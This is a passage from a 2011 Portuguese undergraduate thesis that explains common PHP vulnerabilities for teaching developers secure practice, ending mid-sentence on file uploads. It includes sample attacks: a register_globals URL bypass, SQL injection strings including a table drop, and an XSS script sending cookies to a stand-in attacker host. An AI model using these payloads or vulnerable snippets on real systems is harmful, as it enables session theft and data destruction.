UNIVERSIDADE FEDERAL DO RIO GRANDE DO SUL
INSTITUTO DE INFORMÁTICA
CURSO DE CIÊNCIA DA COMPUTAÇÃO

FERNANDO HENRIQUE CANTO

Vulnerabilidades da Linguagem PHP

Trabalho de Graduação.

Prof. Dr. Raul Fernando Weber
Orientador

Porto Alegre, julho de 2011.

AGRADECIMENTOS

Aos meus pais, por me tornarem gente; a Isis Porto, por me inspirar; aos meus sobrinhos, por me alegrarem; às pessoas que me ouvem, que me motivam, que aprimoram minha existência; aos cientistas, artistas, professores e pensadores que tornam o mundo um lugar mais rico e mais interessante.

SUMÁRIO

LISTA DE ABREVIATURAS E SIGLAS

AJAX	Assyncronous JavaScript and XML
ASP	Active Server Pages
CGI	Common Gateway Interface
HTTP	HyperText Transfer Protocol
JSP	JavaServer Pages
OWASP	Open Web Application Security Project
PHP	PHP Hypertext Processor
SMTP	Simple Mail Transfer Protocol
TCP/IP	Transmission Control Protocol / Internet Protocol
WASC	Web Application Security Consortium
XML	Extensible Markup Language
XSS	Cross-Site Scripting

LISTA DE FIGURAS

RESUMO

O desenvolvimento de sistemas para a Web tornou-se uma área de constante crescimento e valorização. A conveniência e disponibilidade desse tipo de sistema motivam as empresas a disponibilizarem suas aplicações via Internet, e para suprir essa demanda, uma série de linguagens e plataformas surgiram nos últimos anos. Dentre elas, o PHP é uma das linguagens mais conhecidas e populares, caracterizada pela sua baixa curva de aprendizagem e facilidade de desenvolvimento.

Em contrapartida, a linguagem possui uma série de características que, aliadas às peculiaridades dos sistemas Web em geral, tornam possível o surgimento de falhas de segurança e vulnerabilidade em aplicações mal desenvolvidas. Um desenvolvedor que não conhece essas características, ou as técnicas de exploração de vulnerabilidades, pode acabar escrevendo um código inseguro. Da mesma forma, quando o projeto do sistema não considera segurança como um critério fundamental, a melhoria da segurança de um sistema pode ser uma atividade complexa e custosa se a equipe não domine as técnicas e as boas práticas de programação.

O objetivo deste trabalho é apresentar as falhas e vulnerabilidades mais comuns de sistemas implementados em PHP, bem como as invasões mais disseminadas e os riscos que elas apresentam. A apresentação desses problemas serve de motivação para a introdução de técnicas simples, que podem representar um grande diferencial para a segurança dos sistemas. Além da dissertação textual, o trabalho propõe uma atividade didática, que objetiva demonstrar as causas e consequências de vulnerabilidades na prática, sugerindo também correções simples que ajudam a mitigar esses problemas. Essa atividade poderá ser desenvolvida em cursos orientados tanto a segurança quanto a desenvolvimento de sistemas em geral.

Palavras-Chave: segurança, vulnerabilidade, intrusão, sistemas, PHP, Web

Vulnerabilities of the PHP Language

ABSTRACT

The development of systems for the Web has become an area of constant growth in size and value. The convenience and availability of that kind of system motivates companies to release their applications on the Internet, and to supply such demand, a wealth of languages and platforms has arisen in the recent years. Among them, PHP is one of the most well known and popular, standing out for its low learning curve and ease of use.

On the other hand, the language has a series of properties that, along with peculiarities of Web systems in general, allow the appearance of security flaws and vulnerabilities in poorly written applications. A developer who's unaware of such properties, or the techniques for exploiting vulnerabilities, may end up writing insecure code. Likewise, in case the system design does not consider security among its fundamental criteria, the improvement of security can be complex and costly if the development team does not master the techniques and good programming practices.

The goal of this study is to present the most common flaws and vulnerabilities of PHP systems, as well as the most widespread intrusions and the risks they may cause. The presentation of these problems serves as motivation for the introduction of simple techniques, which can represent a great differential in system security. Aside from the textual dissertation, the study proposes a didactic activity, which aims to demonstrate the causes and consequences of security flaws in practice, also suggesting simple measures that help mitigate those problems. This activity may be executed in courses aimed at security as much as system development in general.

Keywords: security, vulnerability, intrusion, systems, PHP, Web

1 CONSIDERAÇÕES GERAIS

Com o crescimento e a popularização da Internet, um número crescente de empresas e instituições vem disponibilizando serviços on-line com os mais diversos fins, desde fóruns para discussões e trocas de opiniões até compras e transações bancárias. Esse tipo de serviço não seguia os moldes originais das páginas Web (páginas estáticas, isto é, com conteúdo fixo, e requisições simples a páginas, imagens e documentos), e para dar suporte a aplicações dinâmicas mais avançadas, surgiram linguagens e plataformas como o ASP da Microsoft, o JSP da Sun, e o PHP (originalmente *Personal Home Page tools*, e hoje *PHP Hypertext Processor)*, desenvolvido por Rasmus Lerdorf. Esta última se tornou extremamente popular por ser lançada como software livre, e hoje se encontra na versão 5.3, lançada oficialmente em 30 de Julho de 2009.

Há um problema histórico de segurança em redes. O protocolo TCP/IP, por exemplo, não foi desenvolvido originalmente com foco em segurança (CHAMBERS et al.). Isso deu margem para o surgimento de diversas explorações de vulnerabilidades em sistemas Web. Tentativas de ataques a servidores e portais da Internet são extremamente comuns, e chegam a representar um sério risco para aplicações delicadas. Os sistemas on-line, portanto, estão constantemente sujeitos a ataques e tentativas de exploração; e assim como os protocolos, sistemas operacionais e aplicativos são alvos frequentes de ataques, os próprios sistemas e aplicações também o são: más práticas e vícios de programação, descuidos, falta de experiência e conhecimento dos programadores, desconhecimento por parte dos analistas e projetistas são causas comuns do surgimento de vulnerabilidades e falhas em sistemas Web. Andi Gutmans avalia que a maior parte dos problemas de segurança estão em nível de aplicação, e não na linguagem em si (GUTMANS apud SHIFLETT).

Embora soluções venham surgindo para aliviar esses problemas (bibliotecas, *frameworks*, etc.), surge a necessidade de compreendermos quais são as falhas mais frequentes nos sistemas Web, por que elas ocorrem, quais são os conhecimentos e as medidas necessárias para que esses problemas sejam sistematicamente mitigados ou eliminados, tanto em sistemas já existentes quanto em projetos futuros.

1.1 A Linguagem PHP

O PHP hoje é uma das linguagens para *server-side scripting* mais populares em existência, sendo usada em mais de 20 milhões de domínios em abril de 2007. Seus usuários incluem sistemas como a plataforma de aprendizado Moodle e em sites de grande porte, como a rede social Facebook e o site de notícias sociais Digg.

À medida que o uso do PHP se torna mais amplo, as falhas de segurança tornam-se mais sérias e comprometedoras. Segundo Clowes, as vulnerabilidades dos sistemas PHP se devem principalmente ao fato de, devido à natureza de desenvolvimento rápido e

fácil da linguagem, programadores inexperientes trabalham sob pressão, produzindo código ruim e inseguro, ao passo que a linguagem dificulta o desenvolvimento de código seguro. Segundo este ponto de vista, deve-se aproveitar ao máximo os recursos que o PHP oferece (por exemplo, em uma grande quantidade de funções prontas e bibliotecas disponíveis), mas não se pode culpar totalmente o programador pelas falhas de segurança. Por isso, torna-se importante conhecer as características da linguagem e de onde originam-se as falhas e fraquezas.

1.2 Organização do Trabalho

O trabalho apresentará os conceitos e aspectos da linguagem PHP e suas vulnerabilidades de forma progressiva, de maneira a permitir a total concepção dos assuntos abordados. O segundo capítulo tratará das características principais da linguagem, seus principais recursos e diferenças em relação a outras linguagens.

O terceiro capítulo tratará de algumas das principais vulnerabilidades já detectadas e documentadas, bem como das maneiras mais comuns de explorá-las e os riscos que elas representam. O quarto capítulo, por sua vez, tratará das principais medidas de mitigação e eliminação dessas falhas.

O quinto capítulo apresentará a proposta de um trabalho prático com objetivos didáticos de apresentar as vulnerabilidades da linguagem, suas causas, seus riscos, e métodos simples de correção. O trabalho justificará a escolha de vulnerabilidades de acordo com a sua relevância e risco.

2 ASPECTOS DA LINGUAGEM

2.1 Breve Histórico

A linguagem PHP originou-se como um conjunto de ferramentas para páginas pessoais. O desenvolvedor dinamarquês Rasmus Lerdorf criou um conjunto de *scripts* em Perl, que eram invocados através de uma linguagem de *script* para geração dinâmica de suas páginas pessoais para a Web. Esse conjunto evoluiu, resultando em uma série de executáveis *CGI* escritos na linguagem C, e foi publicado pela primeira vez em 1995 como software livre, sob o nome de *Personal Home Page Tools*, em sua versão 1.0 (ANNOUNCE). O projeto cresceu, e a segunda versão foi lançada como *Personal Home Page/Forms Interpreter* (PHP/FI).

Em 1997, os desenvolvedores israelenses Andi Gutmans e Zeev Suraski uniram-se ao projeto para lançar o PHP 3.0. Essa versão, na verdade, foi uma grande reinvenção da linguagem, com ambições muito maiores do que a criação de simples páginas pessoais; esse fator, dentre outros, motivou a renomeação da linguagem para *PHP: Hypertext Preprocessor*. Essa versão tinha também uma estrutura modular e extensível, que permitia que outros desenvolvedores contribuíssem novas extensões.

A versão 4.0 surgiu em 1999, e incluiu uma reescrita completa do núcleo funcional da linguagem, desenvolvido pelos dois programadores israelenses e nomeado *Zend Engine*. Dentre outros, o objetivo dessa reescrita foi o aumento da eficiência da linguagem. A versão atual da linguagem, 5.0, foi publicada em 2004.

O foco da linguagem PHP sempre foi a geração de páginas HTML dinâmicas, e possui uma série de recursos para a manipulação de cabeçalhos HTTP, acesso a parâmetros do tipo *get* e *post*, comunicação com bancos de dados e manipulação de *strings*. Além disso, ela mantém as características de linguagem de *script*—isto é, não gera código executável diretamente, e sim dispara executáveis externos, que antigamente eram o conjunto de executáveis CGI, e hoje é o Zend Engine. PHP é uma linguagem interpretada e dinâmica, fraca e dinamicamente tipada. Esses conceitos serão explicados em detalhe adiante.

2.2 Conceitos Básicos

A tipagem fraca e dinâmica significa que nenhuma variável tem um tipo pré-definido e fixo. Na prática, é impossível "declarar" variáveis no PHP, pois não há sintaxe definida para isso, e não é possível fixar seus tipos. Uma variável é criada no PHP assim que algum valor for atribuído a ela, e isso também define o tipo da variável (e.g. uma atribuição `$x=1` criará uma variável de tipo inteiro, e `$y="1"` criará uma *string*). Porém o PHP se encarrega de realizar conversões implícitas quando as variáveis são utilizadas em operações e chamadas de funções (isto é, a comparação `$x==$y` será

avaliada para *verdadeiro*, e a soma **`$x+$y`** resultará no valor *2*). Da mesma forma, uma variável pode simplesmente mudar de tipo em tempo de execução. Basta, para isso, atribuir um valor de tipo diferente para uma variável já existente.

O mesmo acontece com *arrays* no PHP. O manual do PHP dá uma explicação mais completa do que são os *arrays* no PHP:

> An array in PHP is actually an ordered map. A map is a type that associates values to keys. This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more. As array values can be other arrays, trees and multidimensional arrays are also possible. (http://www.php.net/manual/en/language.types.array.php)

Os índices de um *array* podem ser tanto números inteiros quanto *strings*, e assim como as variáveis, uma entrada de um *array* é criada assim que algum valor é atribuído a ela. Não é necessário dimensionar um *array* no momento de sua criação.

A linguagem PHP define alguns *arrays superglobais*. Eles são chamados assim porque estão disponíveis em qualquer escopo dentro de um *script*, sem que seja necessário defini-los explicitamente como tal. Dentre esses *arrays*, destacam-se: **`$_SESSION`**, que armazena as variáveis de sessão da conexão atual (geralmente usadas para guardar dados de identificação do usuário, ou outras informações a serem mantidas entre diferentes páginas); **`$_SERVER`**, com configurações e dados do servidor e da conexão atual; **`$_FILES`**, com informações de arquivos enviados para o *script* via um formulário HTML; **`$_GET`**, com os parâmetros enviados para o *script* via URL (e.g. http://www.site.com/pagina.php?**a=1**&**b=2**); **`$_POST`**, com parâmetros enviados para o *script* via um formulário HTML; e **`$_REQUEST`**, que consiste na união dos dois últimos *arrays*.

Um detalhe importante sobre as variáveis é que elas são criadas *apenas através de uma atribuição*. Se uma variável for *utilizada* (e.g. do lado direito de uma atribuição, em uma comparação) antes de receber um valor, o PHP emite apenas um aviso do tipo **`E_NOTICE`**, que é o nível mais baixo de aviso. Fora isso, uma variável inexistente assume o valor **`NULL`**. É comum o uso de variáveis não inicializadas, e esse fato somado a outras características do PHP, dá margem para vulnerabilidades.

Outro fato é que a tipagem fraca e dinâmica torna impossível "forçar" um argumento recebido a ter algum tipo; por padrão, todos os argumentos recebidos via *Get* e *Post* são *strings*, mesmo quando representam números inteiros ou reais, datas ou qualquer outra coisa. É possível testar os valores recebidos, mas isso deve ser feito de forma explícita pelo programador. Sem isso, nada impede um possível atacante de enviar *strings* alfanuméricas em um campo que deveria ser exclusivamente numérico.

A linguagem não teve uma evolução muito planejada, e a natureza "extensível" da linguagem resultou, por exemplo, em inconsistências nas assinaturas das funções. Por exemplo, as funções de busca em vetores (*array_search*, *in_array*) costumam receber em sua lista de argumentos primeiro o valor procurado (*needle*) e depois o lugar onde o valor será procurado (*haystack*); já as funções de busca em *strings* (*strstr*, *strpos*) inverte a ordem desses argumentos. Essa inconsistência pode tornar a linguagem anti-intuitiva, o que pode aumentar a incidência de erros de programação. Um erro de tipo de argumento (ex. inteiro ao invés de *array*), devido à tipagem fraca e dinâmica, só pode

ser detectado quando o código for executado. Isto significa que *scripts* mal testados podem conter diversas falhas, que podem resultar em vulnerabilidades.

Há uma série de fatores que podem tornar um script PHP inseguro e uma grande quantidade de maneiras de explorar essas fraquezas. Embora seja necessário utilizar uma série de medidas de segurança, quase todas elas partem de um princípio comum. De acordo com Converse & Park:

"O mantra do projetista consciente sobre segurança de site é '*Não confie na rede*'." (2003)

Isto é, não se pode confiar nos dados que vêm de fora. Um *script* PHP é fortemente dependente de argumentos e requisições que chegam via Web em cabeçalhos HTTP. Quase sempre esses pedidos se originam de páginas HTML ou de outros *scripts* PHP de forma legítima, porém, para atacantes razoavelmente experientes, é possível forjar requisições falsas que passam despercebidas por páginas PHP mal feitas. Esses dados devem ser exaustivamente e repetidamente validados e consistidos, para impedir que dados inválidos sejam aceitos.

Nem sempre se considera a segurança um elemento essencial do sistema, seja pelo seu alto custo de implementação, pelo limitado público-alvo da aplicação ou pela "confiança" de que ninguém ira atacar aquele sistema, mas certas práticas devem se tornar padrão para os desenvolvedores PHP. Muitas dessas práticas já são encapsuladas em soluções prontas em muitos *frameworks* de desenvolvimento, porém é importante que o desenvolvedor entenda como elas funcionam e para que servem, para saber utilizá-las corretamente.

2.3 Argumentos Get e Post

Um *script* PHP comumente depende de argumentos recebidos de outras páginas, através de *links*, de submissões de formulários (ex. escolha de um item em um menu, uma tela de *login*, preenchimento de um formulário de cadastro), de requisições AJAX, etc. Esses dados são enviados dentro das requisições HTTP, e são recebidas pelo PHP nos vetores superglobais **`$_GET`** e **`$_POST`**.

Não é raro que scripts PHP trabalhem com esses vetores sem validá-los e formatá-los devidamente. Isso dá margem a ataques como *SQL Injection*, que na prática são muito mais simples do que possam parecer. O PHP oferece ferramentas que facilitam esse tratamento, mas muitas vezes eles são simplesmente ignorados.

Para um programador, não é importante saber apenas como tratar os dados recebidos, mas *por que* tratá-los e que tipo de risco pode ser evitado, para que então ele possa ter mais cuidado com o código que ele produz. Podemos propor, por exemplo, uma tela de gerência de um sistema, onde um gerente com determinado privilégio pode conceder alguns privilégios a usuários que tenham alguma característica. O sistema pode—através de uma consulta SQL, por exemplo—exibir a lista desses usuários na forma de um *combobox*, e dessa lista o gerente seleciona o usuário para conceder o direito. Isso provavelmente será feito através de um formulário HTML, e o script PHP que receber esses dados fará as devidas operações no banco de dados.

O programador poderá supor que, como a *combobox* já foi montada de acordo com as regras de negócio, não será necessário repetir a validação na outra página. É daí que surge a vulnerabilidade: um usuário malicioso poderá forjar uma solicitação (seja através de uma requisição HTTP gerada manualmente, seja pela manipulação do código

HTML da página através de ferramentas como o *Firebug*) e enviar para o sistema o código de uma pessoa que não consta na lista. Assim, o sistema concederá direitos para uma pessoa que não poderia recebê-los licitamente.

Para evitar essa situação, é necessário fazer *todas* as validações necessárias tanto na página que gera o formulário quanto na página que executa a transação, mesmo que isso resulte em redundância e perda de eficiência.

Os métodos *Get* e *Post* têm funcionamento praticamente idêntico para o script PHP que os recebe; a diferença está na página que envia os dados. É possível colocar dados *Get* em *links*, e eles ficam visíveis na barra de endereços para o usuário; já para enviar dados via *Post*, é necessário usar um *formulário*, e os dados não ficam imediatamente visíveis para o usuário. Por esse motivo, alguns programadores têm a impressão de que o método *Get* é necessariamente mais vulnerável do que o *Post* e deve ser evitado, e por outro lado o *Post* garante a segurança dos dados. Isso é absolutamente falso: tanto o método *Get* quanto o *Post* podem ser facilmente manipulados e forjados por atacantes com boa experiência, embora o *Get* fique mais exposto a usuários leigos que tenham vontade de "mexer" no sistema para "ver o que acontece".

A segurança não está na escolha entre o *Get* e o *Post*, e sim na validação dos dados feita pelos *scripts*. A escolha entre os dois métodos deve levar em conta a usabilidade e a viabilidade de implementação, e não a segurança. A W3C recomenda que o *Get* seja usado quando: "[t]he interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup)" (URIS), enquanto que o *Post* é preferível para operações que tenham algum efeito direto no sistema. Para um programador experiente, ambos podem ser usados sem hesitação.

2.4 Sessão

O conceito de *sessão* é fundamental para a maioria dos sistemas Web. É através dele que podemos manter o controle de usuários devidamente autenticados em um sistema de forma segura.

Uma sessão é, fundamentalmente, um arquivo armazenado no servidor da aplicação. Dentro desse arquivo pode-se armazenar valores de diversos tipos (números, *strings*, objetos, etc.). Dentro de um *script* PHP, a sessão é representada pelo *array* superglobal **`$_SESSION`**, e os valores são armazenados e recuperados como em qualquer outro *array*.

O servidor pode manter diversas sessões, e cada uma delas é identificada por uma *string* gerada pelo próprio PHP, denominada *session id*. Quando um usuário tem uma sessão ativa, o *session id* é guardado em seu computador em um *cookie*, e a cada requisição à aplicação, ele é transmitido dentro do cabeçalho HTTP.

Quando um *script* PHP *inicia* uma sessão com a função *session_start*, duas coisas podem ocorrer: o PHP cria uma sessão nova, caso nenhum *session id* tenha sido informado, ou reabre a sessão com o *session id* definido na função *session_id* (caso esta tenha sido chamada antes), recebido no cabeçalho HTTP da requisição via *cookie*, ou recebido pelo argumento **`PHPSESSID`** via método Get (isto pode ser desabilitado nas configurações do arquivo php.ini). No primeiro caso, o *array* **`$_SESSION`** encontra-se totalmente vazio; já no segundo caso, todos os valores armazenados durante aquela sessão serão recuperados e disponibilizados nele. É esse mecanismo que permite sistemas onde o usuário se identifica uma única vez, e passa a ser reconhecido durante todo o uso do sistema. A sessão permanece ativa até que ela seja explicitamente

destruída com a função *session_destroy*, ou extinta por inatividade (isto é, após um número *n* de minutos, definido no servidor, sem que a sessão seja reaberta).

Os valores armazenados em uma sessão ficam, como já foi dito, armazenados em arquivos dentro do servidor da aplicação. Deve-se tomar todo o cuidado para manter esses arquivos em um diretório inacessível por usuários externos. Afora isso, os *session ids* também devem ser mantidos em sigilo, visto que um usuário consegue recuperar uma sessão de outra pessoa caso venha a obter um *session id* vigente, simplesmente enviando uma requisição HTTP para o servidor. Devido ao fato de que de que o *session id* é enviado a cada requisição HTTP, é importante usar conexões seguras em aplicações que necessitem de segurança.

3 VULNERABILIDADES DA LINGUAGEM

3.1 O caso do register_globals

Até a versão 4.2.0 do PHP, uma instalação da linguagem deixava, por padrão, habilitada uma opção de configuração chamada **`register_globals`**. Essa opção faz com que o PHP automaticamente transforme as entradas dos *arrays* superglobais em variáveis, sem que o programador execute qualquer comando. Assim, se a página recebeu via método *Get* os atributos **`a=1`** e **`b=2`**, ao invés de acessá-los com **`$_GET['a']`** e **`$_GET['b']`**, o programador pode simplesmente usar **`$a`** e **`$b`**.

Para um atacante, isso significa que ele pode "inicializar" variáveis em um *script* PHP simplesmente utilizando a linha de endereços. Se um *script* utiliza variáveis não inicializadas em pontos críticos, o atacante poderá ter o poder de burlar medidas de segurança e autenticação, realizar transações inválidas, dentre outras coisas. Considere o exemplo abaixo:

```
if(verificar_permissao_gerente($id_usuario))
  $gerente = true;


...


foreach($lista_usuarios as $usuario) {
  ...
  if($gerente)
    echo exibirBotaoEdicaoPessoa($usuario);
  ...
}
```

No trecho acima, um script executa uma função para verificar a permissão de gerente do usuário logado no sistema. Caso o usuário seja gerente, uma variável recebe o valor *true*, e esta variável é usada em outros pontos do código para disponibilizar opções específicas para a gerência. O problema é que, caso a verificação falhe, a variável não recebe valor nenhum. Com o **`register_globals`** habilitado, um invasor pode obter opções de gerência acessando o script com a seguinte URL:

```
http://www.site.com/pagina.php?gerente=1
```

Dessa forma, a variável **`$gerente`** é inicializada com um valor verdadeiro, e mesmo que a verificação de permissão falhe, o sistema disponibilizará as funcionalidades restritas.

A opção **`register_globals`** acabou ganhando má fama por causa disso, e a partir da versão 4.2.0 (agosto de 2000), ela vem desabilitada por padrão. Embora isso tenha causado problemas de compatibilidade com uma grande quantidade de sistemas existentes, a vulnerabilidade mostrou-se tão grave que a mudança permaneceu vantajosa. Na versão 5.3.0 (junho de 2009), o **`register_globals`** tornou-se depreciado.

Embora isso tenha removido uma grande vulnerabilidade da linguagem, o fato é que o problema maior ainda é a falta de hábito de inicialização e validação das variáveis. Segundo Shiflett, "**`register_globals`** is unfairly maligned. Alone, it doesn't create a security vulnerability—a developer must make a mistake" (SHIFLETT, 2006). A maneira "liberal" como o PHP trata as variáveis e *arrays* acabou transformando más práticas de programação em conveniências, ou seja, atalhos para reduzir o tempo de desenvolvimento e tornar o processo menos tedioso. Essas más práticas, na maioria dos casos, são a raiz das vulnerabilidades do PHP, como veremos a seguir.

3.2 SQL Injection

Dentre os ataques a sistemas Web, o *SQL Injection* possivelmente é o mais conhecido e mais temido; de acordo com McClure et al., "While injection flaws can affect nearly every kind of external service, from mail servers to web services to directory services, SQL Injection is by far the most prevalent and readily abused of these flaws" (MCCLURE et al., 2009, p. 573). O nome "*SQL Injection*" se refere à manipulação de consultas SQL realizadas por um sistema Web, utilizando-se de falhas do sistema. O foco do trabalho não está nas possibilidades de manipulação de consultas, e sim nas falhas que um sistema PHP pode ter para permitir tal manipulação. No caso do PHP, o canal central para a realização de *SQL Injection* são os parâmetros recebidos pelo *script*, seja por linha de endereço (*Get*) ou por formulários (*Get* ou *Post*). Pode-se utilizar SQL Injection com vários objetivos: forjar autenticação de um usuário sem precisar da senha, alterar dados armazenados no banco de dados, ou até mesmo causar danos como exclusão de registros ou de tabelas.

A existência de vulnerabilidade a *SQL Injection* em um sistema é, na verdade, sintoma de um problema maior: a falta de cuidado com os argumentos recebidos. Um programador PHP, por quaisquer motivos, pode utilizar dados não filtrados para montar consultas SQL. Com isso, um invasor conseguiria utilizar argumentos para enviar dados que seriam interpretados de maneiras imprevistas por um *script*. Considere, por exemplo, o código abaixo:

```
   $Consulta = "select * from usuarios where codigo =
".$_POST['codigo']. " and senha = ".$_POST['senha'];
```

O propósito desse trecho de código é fazer uma verificação de usuário e senha em um banco de dados para autenticar um usuário. É um exemplo típico de vulnerabilidade, pois a autenticação é um dos pontos mais sensíveis de um sistema Web, ao passo que o processo de autenticação é, em geral, bastante simples e depende de dados recebidos do usuário.

A grande falha do código é trivial: os dados vindos do formulário estão sendo concatenados diretamente à consulta SQL, sem qualquer tipo de tratamento prévio. Isso significa que o usuário pode digitar, ao invés de dados válidos, código SQL, o qual será interpretado e executado normalmente pelo banco de dados.

Um invasor, ao tentar executar essa invasão, precisa primeiro localizar a vulnerabilidade. A maneira mais prática de se fazer isso é inserir caracteres que possam

causar um erro de SQL. No exemplo acima, a inserção de um apóstrofo em um dos campos causaria um erro de sintaxe na consulta, o que mostraria a existência de uma provável vulnerabilidade para o invasor.

A partir disso, o invasor pode experimentar diversas técnicas de *SQL Injection* de acordo com o propósito, e isso pode ser feito por tentativa e erro. Um exemplo do que pode ser feito é manipular a consulta para permitir acesso ao sistema sem que o invasor conheça qualquer senha:

```
   codigo = "1"
   senha = "1 or 1=1"
   consulta gerada: "select * from usuarios where codigo = 1 and senha
= 1 or 1=1"
```

Outra possibilidade é a tentativa de manipular os dados, com fins de adulteração ou danificação da base. Considere o exemplo abaixo:

```
   codigo = "1"
   senha = "1; drop table usuarios; --"
   consulta gerada: "select * from usuarios where codigo = 1 and senha
= 1; drop table usuarios; --"
```

Embora a obtenção do nome da tabela “usuarios” possa não ser tão imediata (ela pode ser obtida através da visualização de mensagens de erro das consultas, ou apenas por tentativa e erro), o resultado da invasão acima pode ser catastrófico caso usuário utilizado pela aplicação na conexão ao banco tenha permissão de exclusão da tabela. É importante observar o uso dos caracteres ponto-e-vírgula para separar comandos SQL diferentes, e o uso dos dois hífens, que significam início de comentário, o que evitaria a tentativa de execução de código SQL inválido, causando o insucesso da invasão.

As consultas SQL devem ser enviadas para o banco de dados como *strings*, usando funções da biblioteca do PHP. Ou seja, inevitavelmente, o programador deverá usar concatenações e substituições de *strings* para montar as consultas, e a linguagem não oferece nenhuma estrutura nativa para proteger as consultas de dados maliciosos. Sendo assim, o programador deverá usar alguma biblioteca ou *framework* que faça esse trabalho de forma transparente, ou utilizar validações e filtros explícitos para cada dado recebido; este último caso pode tornar o desenvolvimento tedioso e complicado, aumentando a possibilidade de falhas de desenvolvimento, que por sua vez dão origem às brechas de segurança.

O exemplo clássico da aplicação do *SQL Injection* é em páginas de *login* e autenticação, porém é necessário enfatizar que essa não é a única finalidade desse ataque. A existência dessa vulnerabilidade permite a execução de *qualquer* código SQL; ou seja, o atacante pode conseguir manipular dados presentes no banco de dados ao executar comandos *insert*, *update* e *delete*. Caso o atacante não conheça os nomes das tabelas e colunas, ele pode obter informações vitais sobre o banco de dados ao forçar erros, que por padrão são exibidos na tela.

3.3 Mensagens de erro

A exibição de mensagens de erro na tela é uma falha gravíssima, pois pode entregar informações cruciais para um atacante. Logicamente não se discute a exibição dos erros em um ambiente de desenvolvimento, onde eles servem para agilizar o processo de testes e *debugging*; a discussão se refere ao ambiente de produção.

O PHP possui uma categorização de mensagens de aviso e erro, e o programador pode habilitar ou desabilitar a exibição de mensagens para cada nível com o uso da função **`error_reporting()`**. Porém não é bom confiar ao desenvolvedor a tarefa de desabilitar as mensagens, pois sempre há a possibilidade de erros e enganos do programador que podem deixar um furo em alguma parte. Ao invés disso, é melhor configurar o arquivo *php.ini* e remover as mensagens de *todos* os níveis de erro no ambiente de produção. O **`error_reporting`** deve ser usado com muito cuidado, pois pode acabar habilitando a exibição de erros em situações indesejadas.

3.4 Exibição de dados

Na Internet, há uma grande quantidade de sites que aceitam contribuições dos usuários—por exemplo, blogs e sites de notícias que permitem que o usuário envie comentários. Esses comentários são impressos nas páginas e ficam visíveis para o público em geral. O conteúdo do comentário é concatenado ao código HTML da página, e se esse conteúdo contiver código HTML (por exemplo, código JavaScript), ele será interpretado como código HTML ao invés de ser exibido apenas como texto, se não for devidamente tratado.

Um atacante pode usar falhas como essa em seu favor, adicionando, por exemplo, código JavaScript que "captura" o navegador do usuário e faz com que ele execute código malicioso, normalmente colocado em arquivos de extensão *js* hospedados em sites remotos. Isso se chama *cross-site scripting* (XSS), e com isso é possível realizar ataques como captura de *cookies*, que por sua vez pode permitir que o atacante execute um "rapto de sessão", obtendo acesso indevido a um sistema. O maior risco desse tipo de ataque é que o atacante está se utilizando da falha de uma página que é percebida como confiável pelos usuários em geral, e estes são atacados sem grandes chances de defesa.

Um exemplo de código malicioso que se pode enviar em um caso desses é o seguinte código JavaScript:

```
   <SCRIPT type="text/javascript">
   location.href = 'http://www.invasor.com/invasor.php?cookie=' +
escape(document.cookie);
   </SCRIPT>
```

Quando um usuário acessar uma página que exiba o código acima, o navegador do usuário será redirecionado para uma página PHP externa, que receberá, como parâmetro, os dados que estiverem nos *cookies* do usuário.

Para poupar código e realizar ataques mais sofisticados, o invasor poderá referenciar um arquivo *js* remoto da seguinte forma:

```
   <SCRIPT type="text/javascript"
src="http://www.invasor.com/ataque.js">
   </SCRIPT>
```

Esse tipo de falha novamente se origina no não tratamento dos dados, mas não dos que entram no *script*, e sim dos que saem dele. É essencial que o programador tenha noção desse risco para que ele desenvolva páginas seguras para os usuários.

3.5 Manipulação de *includes* e *requires*

Um ponto explorável de um script PHP são os *includes* e *requires*. É muito comum que sistemas PHP utilizem essas funções para organizar o código de uma maneira

inteligente, e essa organização pode se tornar complexa. Um *include* no PHP é bem diferente do *include* da linguagem C: nesta, trata-se de uma diretiva estática de pré-compilador e *concatena* textualmente o arquivo incluído ao arquivo principal *antes* do processo de compilação. Já no PHP, o *include* é uma função da biblioteca padrão, e é efetuado em tempo de execução: o arquivo incluído é referenciado por uma *string* que contém seu caminho e nome, e é processado dinamicamente. Além disso, esses comandos podem processar arquivos remotos. Espera-se que o PHP executado remotamente produza código válido, que então será executado no servidor local.

O problema surge quando o *include* utiliza, como nome do arquivo a ser incluído (parte ou todo), um argumento externo. Um atacante pode tentar manipular esses argumentos para fazer o *script*, por exemplo, exibir arquivos internos do servidor, ou ainda executar *scripts* remotos. Esta última prática é potencialmente mais perigosa do que o *SQL Injection*, pois o atacante pode fazer qualquer operação além de comandos SQL.

Tal vulnerabilidade surge, novamente, da falta de validação e cuidado com os argumentos recebidos. Um atacante pode facilmente detectar pontos no sistema onde seja possível manipular os *includes*, e explorará essas fraquezas em seu favor. Um programador poderá achar extremamente improvável que um usuário consiga enxergar a possibilidade de invasão, porém nunca se deve tentar "esconder" a vulnerabilidade, e sim atacá-la diretamente. Ao invés de obscurecer a passagem de parâmetros, deve-se *sempre* validar as entradas, para garantir que os argumentos contenham apenas referências a arquivos locais válidos.

A versão 5.3.4 do PHP, lançada em dezembro de 2010, traz uma atualização de segurança que considera *inválido* qualquer caminho que possua, em sua *string*, o caractere *NULL* (ou \0). A relevância dessa atualização vem do fato que o atacante pode usar o caractere \0 para *forçar* o final de uma *string* em uma invasão, e o PHP necessariamente trata esse caractere como fim de string, mesmo que algo seja concatenado à direita dessa *string*. Embora esse problema já tenha sido documentado por Shiflett em 2006, fica evidente que o PHP Group não está alheio às questões de segurança.

3.6 Upload de arquivos

Existem sistemas Web que permitem ao usuário fazer *upload* de arquivos. As razões e propósitos disso podem ser diversas; para todas essas situações, a linguagem HTML e o protocolo HTTP provêem um mecanismo para permitir *uploads* de arquivos via formulários, e o PHP consegue aproveitar esse recurso.

A tag *input* do HTML permite o tipo *file*, que faz o navegador exibir uma interface de seleção de arquivo. Quando o formulário é submetido, o navegador anexa o arquivo à requisição HTTP que é feita ao *script* requisitado. Nenhum dos dois, porém, prevê mecanismos para filtrar arquivos por tipo ou tamanho, por exemplo; ou seja, o usuário pode enviar *qualquer* arquivo, de qualquer tipo, via um formulário desses. O programador pode até utilizar JavaScript para impedir envios de arquivo com extensões não aceitas, porém nada pode ser feito quanto ao conteúdo desse arquivo.

O PHP, ao receber uma requisição com um arquivo anexado, *salva esse arquivo em disco* com um nome temporário, e guarda as informações do arquivo (inclusive o nome temporário) em um vetor superglobal chamado *$_FILES*. Note que isso tudo é feito

